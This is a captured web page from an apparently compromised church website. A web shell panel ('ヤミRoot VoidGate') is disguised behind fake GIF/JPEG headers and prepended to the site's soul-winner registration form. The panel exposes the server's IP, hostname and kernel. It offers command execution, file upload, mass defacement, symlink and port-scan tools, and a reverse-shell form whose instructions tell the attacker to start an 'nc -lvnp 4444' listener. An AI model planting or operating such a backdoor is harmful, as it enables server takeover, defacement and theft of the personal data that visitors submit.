<!-- GIF89;a -->
<!-- GIF89;a -->
ï¿½ï¿½ï¿½ï¿½ JFIF      ï¿½ï¿½ ï¿½ 	  	 

	
 "" $(4,$&1'-=-157:::#+?D?8C49:7


7%%77777777777777777777777777777777777777777777777777ï¿½ï¿½  { ï¿½" ï¿½ï¿½               ï¿½ï¿½ 5        !1AQa"qï¿½2ï¿½ï¿½BRï¿½ï¿½#bï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½                ï¿½ï¿½                 ï¿½ï¿½   ? ï¿½ï¿½D@DDD@DDD@DDkKï¿½ï¿½6 ï¿½UGï¿½4Vï¿½1ï¿½ï¿½
ï¿½ï¿½ï¿½ï¿½ï¿½ë¦Ÿï¿½@ï¿½#ï¿½ï¿½ï¿½RYï¿½dqpï¿½ 
ï¿½ï¿½ï¿½ï¿½ï¿½ ï¿½oï¿½7ï¿½mï¿½sï¿½<ï¿½ï¿½VPSï¿½e~Vï¿½Ú†8ï¿½ï¿½ï¿½Xï¿½Tï¿½ï¿½$ï¿½ï¿½cï¿½ï¿½ 9ï¿½ï¿½á˜†ï¿½m6@ WUï¿½fï¿½Donï¿½ï¿½rï¿½ï¿½5}9ï¿½ï¿½}ï¿½ï¿½hcï¿½fFï¿½ï¿½/r=hiï¿½ï¿½ ï¿½Í‡ï¿½*ï¿½ï¿½ bï¿½.ï¿½ï¿½$0ï¿½&teï¿½ï¿½yï¿½@ï¿½Aï¿½Fï¿½=ï¿½ Pfï¿½Aï¿½ï¿½aï¿½ï¿½ï¿½Ëªï¿½ÂŒï¿½Ã‰ï¿½ï¿½U|ï¿½ ï¿½	3\ï¿½×´ H SZï¿½g46ï¿½Cï¿½ï¿½×¦ï¿½Û’	ï¿½b<ï¿½ï¿½ï¿½;mï¿½ï¿½ï¿½ï¿½RpØ¹^ï¿½ï¿½l7ï¿½ï¿½*ï¿½ï¿½ï¿½ï¿½ï¿½TFï¿½}ï¿½\ï¿½Mï¿½ï¿½ï¿½M%ï¿½'ï¿½ï¿½ï¿½ï¿½ï¿½Ù Ý½ï¿½vï¿½ ï¿½ï¿½!-ï¿½ï¿½ï¿½ï¿½ï¿½?ï¿½N!Laï¿½ï¿½A+[`#ï¿½ï¿½ï¿½Mï¿½ï¿½ï¿½ï¿½'ï¿½~oRï¿½?ï¿½ï¿½v^)ï¿½ï¿½=ï¿½ï¿½hï¿½ï¿½ï¿½ï¿½Aï¿½ï¿½Xï¿½.ï¿½ï¿½ï¿½Ëƒï¿½ï¿½ï¿½ï¿½^Æï¿½ï¿½Ü¯sO"Bï¿½c>;
ï¿½eï¿½4ï¿½ï¿½5ï¿½kï¿½ï¿½/CBï¿½ï¿½.
 ï¿½J?ï¿½ï¿½;ï¿½Òˆï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½~ï¿½<ï¿½VZï¿½ê­¼2/)Í”jCï¿½ï¿½ï¿½×¢ï¿½Vï¿½Gï¿½!ï¿½ï¿½ï¿½!ï¿½Fï¿½ï¿½ï¿½ï¿½ï¿½ï¿½\ï¿½ï¿½ Kjï¿½Rï¿½ocï¿½hï¿½ï¿½ï¿½:Þ Iï¿½ï¿½1"2ï¿½q×°8ï¿½ï¿½Ð @×–ï¿½ï¿½ï¿½_C0ï¿½Ö€ï¿½ï¿½Aï¿½ï¿½lQï¿½ï¿½@çº¼ï¿½!7ï¿½ï¿½Fï¿½ï¿½ ï¿½]ï¿½sZ
Bï¿½62rï¿½vï¿½z~ï¿½Kï¿½7ï¿½cï¿½ï¿½5ï¿½.ï¿½ï¿½ï¿½Ó„q&ï¿½Zï¿½dï¿½<ï¿½kkï¿½ï¿½ï¿½T&8ï¿½|ï¿½ï¿½ï¿½Iï¿½ï¿½ï¿½ï¿½ Ws}ï¿½ï¿½ï¿½Ç½ï¿½cqnÎ‘ï¿½_ï¿½ï¿½ï¿½3ï¿½ï¿½|Nï¿½-y,ï¿½ï¿½iï¿½ï¿½ï¿½È—_ï¿½\60ï¿½ï¿½ï¿½@ï¿½ï¿½6ï¿½ï¿½ï¿½ï¿½D@DDD@DDD@DDD@DDD@DDcï¿½KN66<ï¿½cï¿½ï¿½64=rï¿½ï¿½ï¿½ï¿½ï¿½
ÄŽ0ï¿½ï¿½hï¿½ï¿½ï¿½t&(ï¿½hnb[ï¿½ ?ï¿½ï¿½^ï¿½ï¿½\ï¿½ï¿½Ã¢|ï¿½,ï¿½/hï¿½\ï¿½ï¿½Rï¿½ï¿½5ï¿½?
ï¿½0ï¿½!×¦Ü‰-ï¿½ï¿½ï¿½ï¿½Gï¿½ï¿½ï¿½ï¿½Ù¬ï¿½ï¿½Qï¿½zAï¿½ï¿½ï¿½1ï¿½ï¿½ï¿½ï¿½ï¿½Vï¿½ï¿½ï¿½ ï¿½:Rï¿½ï¿½ï¿½`ï¿½$ï¿½ï¿½ikï¿½ï¿½Hï¿½ï¿½ï¿½ï¿½D4ï¿½ï¿½ï¿½ï¿½ï¿½#dkï¿½ï¿½ï¿½ï¿½ï¿½ hï¿½}ï¿½ï¿½ï¿½ï¿½7ï¿½ï¿½ï¿½w%ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½*o8wGï¿½LycuTï¿½.ï¿½ï¿½ï¿½Ü¯7ï¿½ï¿½Iï¿½ï¿½u^ï¿½ï¿½ï¿½)ï¿½ï¿½/cï¿½,sï¿½Nqï¿½Ûºï¿½;ï¿½×šï¿½YH2ï¿½ï¿½ï¿½.5Bï¿½ï¿½ï¿½DDD@DDD@DDD@DDD@DDD@V|ï¿½aï¿½j{7cï¿½ï¿½Xï¿½F\ï¿½3MuA×¾hbï¿½	ï¿½ï¿½nï¿½ï¿½Fï¿½ï¿½ï¿½ï¿½ï¿½ï¿½	ï¿½ï¿½8ï¿½(ï¿½ï¿½eï¿½ï¿½ï¿½ï¿½Ppï¿½\"Gï¿½`sï¿½ï¿½mï¿½ï¿½Þ§aWï¿½Kï¿½ï¿½Oï¿½ï¿½ï¿½ï¿½|;eiï¿½ï¿½ï¿½ï¿½Ö‹ï¿½[ï¿½qï¿½ï¿½";aï¿½ï¿½1ï¿½ï¿½ï¿½ï¿½Yï¿½Gï¿½W/ï¿½ß‡ï¿½&ï¿½<ï¿½ï¿½ï¿½ÐŒï¿½H'qï¿½mï¿½ï¿½<sŒÅá0™dkÈ.tc˜:z­G†:<FV2Zu“V

N(ëá’b&1K
¼Àë_Û{®®×ñ5ÇÁ(HæŒíh¡£{è.×€ˆˆˆ€ˆˆˆ€ˆˆˆ€ˆˆˆ€ˆˆˆƒ*~\<Pº7 ¸ºíÀi°ïê JT8–F
	 iëÝÏêÛZZÓ·”•'àÞöx¤–F5s²ì†
ñRÇ75ïNÊÒ&I,l‘ÐÀ–ZøË®ÅX¡Ìé½_$¸o‡(šg´Ë²ù¬5§5X?Sì¤ÂÇãø‹ñ†LvÆ6†µÛ]ïÙ|bGŒ<:ÂKœs OÜû­˜Ü\|+ H²YB&—ß›[ç×_nÔƒŸüO‰Å¶ÅAÞ¤nþÝ‚£_r½ÒHç¿W8Ù5VWÂ" """ """ """ """ ""ÈXY ê?Ë!¶ê4ùŽ–íuò ®8ŽG²1AöÞE´*ÁýÀM/á—¡‘Ù
œ$@"ÏÊj·åË©Vr;À‡ÅÄ[k0e­
såh>ï¿½)ï¿½X+!ï¿½ï¿½ï¿½=ï¿½mï¿½Ûšä¸·~6a^Xï¿½)ï¿½ï¿½ï¿½,ï¿½>#&6Gï¿½ï¿½ï¿½Yï¿½ï¿½{ï¿½ï¿½ï¿½ï¿½"" """ """ """ """ ""ï¿½ï¿½at\/ï¿½aï¿½8 ï¿½yp%ï¿½lhlï¿½nï¿½ï¿½ï¿½ï¿½)ï¿½ï¿½ï¿½iï¿½tï¿½ï¿½Bï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½?ï¿½ï¿½<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title>modskinlienminh.com - WSOX ENC</title>

<!DOCTYPE HTML>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&family=Kelly+Slab&display=swap" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css" rel="stylesheet"/>
    <title>ヤミRoot VoidGate</title>
    <style>
        :root {
            --bg-color: #0a0a0f;
            --fg-color: #E0FF00;
            --highlight-color: #FF00C8;
            --link-color: #00FFF7;
            --link-hover-color: #FF00A0;
            --border-color: #7D00FF;
            --table-header-bg: #1a0025;
            --table-row-hover: #330033;
            --input-bg: #120024;
            --input-fg: #00FFB2;
            --success-color: #39FF14;
            --error-color: #FF0033;
            --font-primary: 'Orbitron', sans-serif;
            --font-secondary: 'Kelly Slab', cursive;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: var(--font-primary);
            background: linear-gradient(135deg, var(--bg-color), #1a1a2e);
            color: var(--fg-color);
            line-height: 1.6;
            min-height: 100vh;
            padding: 20px 10px;
        }

        a {
            color: var(--link-color);
            text-decoration: none;
            transition: color 0.3s ease, transform 0.2s ease;
        }

        a:hover {
            color: var(--link-hover-color);
            transform: translateY(-2px);
        }

        h1 {
            font-family: var(--font-secondary);
            font-size: 2.5rem;
            text-align: center;
            color: white;
            text-shadow: 0 0 10px var(--highlight-color);
            margin: 20px 0;
        }

        h3 {
            font-family: var(--font-secondary);
            color: var(--highlight-color);
            margin-bottom: 15px;
            text-shadow: 0 0 5px var(--highlight-color);
        }

        .container {
            max-width: 100%;
            width: 100%;
            margin: 0 auto;
            padding: 0 20px;
        }

        .system-info-table {
            width: 100%;
            border-collapse: collapse;
            margin: 20px 0;
            background: rgba(0, 0, 0, 0.3);
            border-radius: 10px;
            overflow: hidden;
        }

        .system-info-table td {
            padding: 12px;
            border-bottom: 1px solid var(--border-color);
        }

        .main-menu {
            display: flex;
            flex-wrap: wrap;
            justify-content: center;
            gap: 20px; /* Reduced gap for tighter button spacing */
            background: rgba(0, 0, 0, 0.5);
            padding: 25px;
            border-radius: 10px;
            margin: 20px 0;
            border: 1px solid var(--border-color);
            box-shadow: 0 0 15px rgba(125, 0, 255, 0.3);
        }

        .main-menu div {
            margin: 0 5px; /* Reduced margin for consistent spacing */
        }

        .main-menu a {
            padding: 12px 25px;
            border-radius: 5px;
            background: rgba(255, 255, 255, 0.05);
            transition: background 0.3s ease, transform 0.2s ease;
            min-width: 120px;
            text-align: center;
            display: inline-block;
        }

        .main-menu a:hover {
            background: var(--table-row-hover);
            transform: translateY(-3px);
        }

        .path-nav {
            background: rgba(0, 0, 0, 0.3);
            padding: 10px 15px;
            border-radius: 5px;
            margin: 15px 0;
            word-break: break-all;
        }

        .message {
            padding: 12px;
            margin: 15px 0;
            border-radius: 5px;
            text-align: center;
            font-weight: bold;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
        }

        .message.success {
            background: var(--success-color);
            color: var(--bg-color);
        }

        .message.error {
            background: var(--error-color);
            color: white;
        }

        .section-box {
            background: rgba(0, 0, 0, 0.4);
            border: 1px solid var(--border-color);
            padding: 20px;
            margin: 20px 0;
            border-radius: 10px;
            box-shadow: 0 0 20px rgba(125, 0, 255, 0.2);
        }

        table {
            width: 100%;
            border-collapse: collapse;
            margin: 15px 0;
            background: rgba(0, 0, 0, 0.3);
            border-radius: 10px;
            overflow: hidden;
        }

        #content th, #content td {
            padding: 12px;
            border-bottom: 1px solid var(--border-color);
            text-align: left;
            vertical-align: middle;
        }

        #content tr:hover {
            background: var(--table-row-hover);
        }

        #content .first {
            background: var(--table-header-bg);
            font-weight: bold;
            text-transform: uppercase;
        }

        .td_home {
            padding: 12px;
            border-bottom: 1px solid var(--border-color);
        }

        input, select, textarea {
            border: 1px solid var(--link-hover-color);
            border-radius: 5px;
            background: var(--input-bg);
            color: var(--input-fg);
            font-family: var(--font-secondary);
            padding: 8px;
            transition: border-color 0.3s ease, box-shadow 0.3s ease;
        }

        input:focus, select:focus, textarea:focus {
            outline: none;
            border-color: var(--highlight-color);
            box-shadow: 0 0 8px var(--highlight-color);
        }

        input[type="submit"] {
            background: var(--input-bg);
            color: var(--fg-color);
            border: 2px solid var(--fg-color);
            cursor: pointer;
            font-weight: bold;
            padding: 8px 20px;
            margin: 0 5px;
            transition: all 0.3s ease;
        }

        input[type="submit"]:hover {
            background: var(--fg-color);
            color: var(--input-bg);
            transform: translateY(-2px);
        }

        /* New styles for form elements spacing */
        .form-group {
            margin-bottom: 15px; /* Space between form elements */
        }

        .form-group input[type="text"], .form-group input[type="submit"], .form-group select {
            margin-right: 10px; /* Space between inputs and buttons */
        }

        .form-group input[type="submit"] {
            margin-top: 10px; /* Additional top margin for submit buttons */
        }

        /* Style for reverse shell info box */
        .info-box {
            background: #222;
            border: 1px solid #444;
            padding: 15px;
            margin-bottom: 15px;
            border-radius: 5px;
            overflow: hidden; /* Prevent overflow */
        }

        .info-box ol {
            padding-left: 20px; /* Proper indentation for list */
            margin: 0; /* Remove default margin */
            word-wrap: break-word; /* Ensure text wraps */
        }

        pre {
            background: #0e0e0e;
            border: 1px solid #444;
            padding: 15px;
            border-radius: 5px;
            overflow-x: auto;
            white-space: pre-wrap;
            word-wrap: break-word;
            color: #00FFD1;
        }

        code {
            background: #333;
            color: #FFB800;
            padding: 2px 5px;
            border-radius: 3px;
        }

        details summary {
            cursor: pointer;
            background: #222;
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 10px;
            transition: background 0.3s ease;
        }

        details summary:hover {
            background: var(--table-row-hover);
        }

        hr {
            border: none;
            border-top: 1px solid var(--border-color);
            margin: 20px auto;
            width: 95%;
        }

        footer {
            text-align: center;
            margin-top: 30px;
            color: #fff;
            font-size: 0.9rem;
        }

        footer b {
            color: #7e52c6;
        }

        @media (max-width: 768px) {
            h1 { font-size: 2rem; }
            .main-menu { 
                flex-direction: column;
                align-items: center;
                gap: 15px;
            }
            .main-menu div { 
                margin: 5px 0;
            }
            .main-menu a { 
                display: block; 
                margin: 10px 0;
                width: 100%; 
                max-width: 250px;
            }
            table, .system-info-table { font-size: 0.9rem; }
            .td_home { padding: 8px; }
            .form-group input[type="text"], .form-group input[type="submit"], .form-group select {
                margin-right: 0; /* Remove right margin on mobile */
                width: 100%; /* Full width on mobile */
                margin-bottom: 10px; /* Stack elements vertically */
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <a href="?"><h1>ヤミRoot VoidGate</h1></a>
                <table class="system-info-table">
            <tr><td><i class='fas fa-user'></i> User / IP</td><td>216.73.216.120</td></tr>
            <tr><td><i class='fas fa-desktop'></i> Host / Server</td><td>77.37.76.29 / wemp.christembassyaccraghana.org</td></tr>
            <tr><td><i class='fas fa-hdd'></i> System</td><td>Linux us-phx-web570.main-hosting.eu 5.14.0-570.44.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Sep 17 10:32:11 EDT 2025 x86_64</td></tr>
        </table>
        <div class="main-menu">
            <div>
                <a href="?path=%2Fhome&action=cmd">Command</a>
                <a href="?path=%2Fhome&action=upload_form">Upload</a>
                <a href="?path=%2Fhome&action=create_form">Create</a>
                <a href="?path=%2Fhome&action=mass_deface_form">Mass Deface</a>
                <a href="?path=%2Fhome&action=jumping">Jumping</a>
                <a href="?path=%2Fhome&action=symlink">Symlink</a>
                <a href="?path=%2Fhome&action=reverse_shell">Reverse Shell</a>
            </div>
            <div>
                <a href="?path=%2Fhome&action=ping">Ping</a>
                <a href="?path=%2Fhome&action=portscan">Port Scan</a>
                <a href="?path=%2Fhome&action=dnslookup">DNS Lookup</a>
                <a href="?path=%2Fhome&action=whois">Whois</a>
                <a href="?path=%2Fhome&action=header">Header</a>
                <a href="?path=%2Fhome&action=curl">cURL</a>
            </div>
        </div>
        <div class="path-nav">
            <i class="fas fa-folder"></i> :
            <a href="?path=/">/</a><a href="?path=%2Fhome">home</a>/        </div>
        <div class="section-box"><h3><i class="fas fa-terminal"></i> Reverse Shell</h3><div class="info-box"><h4><i class="fas fa-info-circle"></i> Cara Pakai:</h4><ol><li>Di terminalmu, jalankan listener: <code>nc -lvnp 4444</code></li><li>Masukkan <strong>IP Publik</strong> komputermu di bawah.</li><li>Klik "GASKEUN!". Halaman browser ini mungkin akan terus loading (normal).</li><li>Cek terminalmu, shell server akan muncul jika berhasil.</li></ol></div><form method="POST" action="?action=reverse_shell&path=%2Fhome"><div class="form-group"><label>IP Attacker: <input type="text" name="ip_attacker" value="216.73.216.120"></label> <label>Port: <input type="text" name="port_attacker" value="4444" size="5"></label></div><div class="form-group"><input type="submit" name="start_reverse_shell" value="GASKEUN!"></div></form></div>        <hr>
        <footer>
            <font size="2px"><b>Coded With 💗 by <b>0x6ick</b></b></font>
        </footer>
    </div>
</body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CHRIST EMBASSY ACCRA GHANA ZONE - 1 MILLION HARVEST</title>
    <meta name="csrf-token" content="dy6DRkjDItodynMNeRcreY2t2leIVz5luBq9rJbU">
    <script src="https://cdn.jsdelivr.net/npm/tom-select/dist/js/tom-select.complete.min.js"></script>
    <link href="https://cdn.jsdelivr.net/npm/tom-select/dist/css/tom-select.css" rel="stylesheet">

    <script src="https://cdn.tailwindcss.com"></script>
    <script>
        tailwind.config = {
            theme: {
                extend: {
                    animation: {
                        'fade-in': 'fadeIn 1s ease-in-out',
                        'scale-in': 'scaleIn 0.8s ease-out',
                        'pulse': 'pulse 2s cubic-bezier(0.4, 0, 0.6, 1) infinite',
                    },
                    keyframes: {
                        fadeIn: {
                            '0%': { opacity: '0', transform: 'translateY(20px)' },
                            '100%': { opacity: '1', transform: 'translateY(0)' }
                        },
                        scaleIn: {
                            '0%': { opacity: '0', transform: 'scale(0.9)' },
                            '100%': { opacity: '1', transform: 'scale(1)' }
                        }
                    }
                }
            }
        }
    </script>
    <style>
        body {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
        }
        .modal {
            display: none;
        }
        .modal.active {
            display: flex;
        }
        .glow-button {
            box-shadow: 0 0 30px rgba(251, 191, 36, 0.5), 0 0 60px rgba(251, 191, 36, 0.3);
            filter: drop-shadow(0 0 20px rgba(251, 191, 36, 0.4));
        }
    </style>
</head>
<body class="min-h-screen">
    <!-- Hero Section -->
    <div class="relative h-screen flex items-center justify-center">
        <div class="absolute inset-0 bg-black/20"></div>
        
        <!-- Main Content -->
        <div class="relative z-10 max-w-6xl mx-auto px-4">
            <div class="grid lg:grid-cols-2 gap-8 items-center">
                <!-- Left side - Program Info -->
                <div class="text-center lg:text-left text-white">
                    <h1 class="text-4xl md:text-6xl font-bold mb-4 animate-fade-in">
                        CHRIST EMBASSY ACCRA GHANA ZONE - 1 MILLION HARVEST
                    </h1>
                    
                    
                    <!-- Stats -->
                    <div class="bg-white/10 backdrop-blur-lg rounded-lg p-6 mb-8 animate-scale-in">
                        <div class="text-center">
                            <div class="flex justify-center items-center space-x-2 text-yellow-300">
                                <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5" fill="none" viewBox="0 0 24 24"
                                    stroke="currentColor">
                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                                        d="M17.657 16.657L13.414 12.414a4 4 0 10-5.657 5.657l4.243 4.243a8 8 0 0011.314-11.314L17.657 16.657z" />
                                </svg>
                                <h3 class="text-lg font-semibold">All across the Zone</h3>
                            </div>
                            
                        </div>
                    </div>


                    <!-- Register Button -->
                    <button id="registerBtn"
                        class="relative group bg-gradient-to-r from-yellow-400 to-orange-500 text-white px-10 py-4 text-lg md:text-xl font-semibold rounded-xl shadow-md transition-all duration-300 overflow-hidden">
                        <span
                            class="absolute inset-0 bg-white/10 opacity-0 group-hover:opacity-100 transition-opacity duration-300 rounded-xl"></span>
                        <span class="relative z-10"> Register Souls Won</span>
                    </button>
                </div>

                <!-- Right side - Flyer -->
                <div class="flex justify-center">
                    <div class="bg-white/10 backdrop-blur-lg rounded-xl p-6 animate-scale-in">
                        <img
                            src="https://wemp.christembassyaccraghana.org/images/bg.png"
                            alt="World Evangelism Mobilisation Program"
                            class="w-full max-w-md rounded-lg shadow-2xl"
                        />
                    </div>
                </div>
            </div>
        </div>
    </div>

    
    <div id="successModal" class="modal fixed inset-0 bg-black/50 z-50 items-center justify-center p-4">
        <div class="bg-white rounded-lg max-w-md w-full p-8 flex flex-col items-center">
            <svg class="w-16 h-16 text-green-500 mb-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                <circle cx="12" cy="12" r="10" stroke-width="2" stroke="currentColor" fill="none"/>
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 12l2 2l4-4"/>
            </svg>
            <h2 class="text-2xl font-bold text-gray-900 mb-2">Registration Successful!</h2>
            <p class="text-gray-700 mb-6 text-center">
                
            </p>
            <button onclick="document.getElementById('successModal').classList.remove('active')" class="bg-green-600 hover:bg-green-700 text-white px-6 py-2 rounded-md font-medium">
                Close
            </button>
        </div>
    </div>
    <div id="modal" class="modal fixed inset-0 bg-black/50 z-50 items-center justify-center p-4">
        <div class="bg-white rounded-lg max-w-4xl w-full max-h-[90vh] overflow-y-auto">
            <div class="p-6 border-b">
                <div class="flex justify-between items-center">
                    <h2 class="text-2xl font-bold text-gray-900">Register Souls Won</h2>
                    <button id="closeModal" class="text-gray-500 hover:text-gray-700">
                        <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"></path>
                        </svg>
                    </button>
                </div>
            </div>

            <div class="p-6 space-y-6">

                <form action="https://wemp.christembassyaccraghana.org/souls" method="post" id="soulForm" class="space-y-6" enctype="multipart/form-data">
                    <input type="hidden" name="_method" value="post">                    <input type="hidden" name="_token" value="dy6DRkjDItodynMNeRcreY2t2leIVz5luBq9rJbU" autocomplete="off">                
                    <div class="border rounded-lg p-4">
                        <h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
                            <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"></path>
                            </svg>
                            Soul Winner Information
                        </h3>
                        <div class="grid grid-cols-1 md:grid-cols-2 gap-4">
                            <div>
                                <label class="block text-sm font-medium text-gray-700 mb-1">Full Name *</label>
                                <input type="text" id="soulWinnerName" name="full_name" value="" class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500" placeholder="Enter your full name">
                                                            </div>
                            <div>
                                <label class="block text-sm font-medium text-gray-700 mb-1">Phone Number *</label>
                                <input type="tel" id="soulWinnerPhone" name="phone_number" value="" class="w-full px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500" placeholder="Enter your phone number">
                                                            </div>
                            <div>
                                <label class="block text-sm font-medium text-gray-700 mb-1">Church *</label>
                                <select id="churchSelect" name="church" class="w-full px-3 py-2 border border-gray-300 rounded-md"></select>
                                                            </div>

                            <div id="fellowshipWrapper" style="display:none;">
                                <label class="block text-sm font-medium text-gray-700 mb-1">Fellowship *</label>
                                <select id="fellowshipSelect" name="fellowship" class="w-full px-3 py-2 border border-gray-300 rounded-md"></select>
                                                            </div>
                            <div class="md:col-span-2">
                                <div class="bg-blue-100 border-l-4 border-blue-400 text-blue-800 p-3 rounded mt-2 text-sm">
                                    <strong>Note:</strong> Please use the same phone number each time you register. We use your phone number to identify you as a soul winner.
                                </div>
                            </div>
                        </div>
                    </div>

                    <div class="border rounded-lg p-4">
                        <h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
                            <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M17 20h5v-2a3 3 0 00-5.356-1.857M17 20H7m10 0v-2c0-.656-.126-1.283-.356-1.857M7 20H2v-2a3 3 0 015.356-1.857M7 20v-2c0-.656.126-1.283.356-1.857m0 0a5.002 5.002 0 019.288 0M15 7a3 3 0 11-6 0 3 3 0 016 0zm6 3a2 2 0 11-4 0 2 2 0 014 0zM7 10a2 2 0 11-4 0 2 2 0 014 0z"></path>
                            </svg>
                            Souls Won (<span id="souls-count">0</span>)
                        </h3>

                        
                        <div id="soulsContainer">
                        </div>
                        <button id="addSoulBtn" type="button" class="w-full mt-4 px-4 py-2 border border-gray-300 text-gray-700 rounded-md hover:bg-gray-50 flex items-center justify-center gap-2">
                            <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 6v6m0 0v6m0-6h6m-6 0H6"></path>
                            </svg>
                            Add Another Soul
                        </button>
                    </div>

                    <!-- Dropzone.js for Photos Upload -->
                    <div class="border rounded-lg p-4">
                        <h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
                            <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M17 20h5v-2a3 3 0 00-5.356-1.857M17 20H7m10 0v-2c0-.656-.126-1.283-.356-1.857M7 20H2v-2a3 3 0 015.356-1.857M7 20v-2c0-.656.126-1.283.356-1.857m0 0a5.002 5.002 0 019.288 0M15 7a3 3 0 11-6 0 3 3 0 016 0zm6 3a2 2 0 11-4 0 2 2 0 014 0zM7 10a2 2 0 11-4 0 2 2 0 014 0z"></path>
                            </svg>
                            Photos of Souls Won
                        </h3>
                        <div>
                            <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" />
                            <div id="dropzoneArea" class="dropzone border-dashed border-2 border-gray-300 rounded-lg bg-gray-50 p-6 text-center text-gray-500">
                                <div class="dz-message" data-dz-message>
                                    <span>Drag & drop photos here or click to upload</span>
                                </div>
                            </div>
                            <input type="hidden" name="dropzone_photos" id="dropzonePhotosInput">
                        </div>
                    </div>

                   <button 
                        type="submit" 
                        id="submitBtn" 
                        class="w-full bg-green-600 hover:bg-green-700 text-white py-3 px-4 rounded-md font-medium"
                        onclick="disableButton(this)"
                    >
                        Submit Registration
                    </button>
                </form>
            </div>
        </div>
    </div>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>
    <script src="https://wemp.christembassyaccraghana.org/js/script.js"></script>
    <script src="https://wemp.christembassyaccraghana.org/js/dropzone.js"></script>

</body>
</html>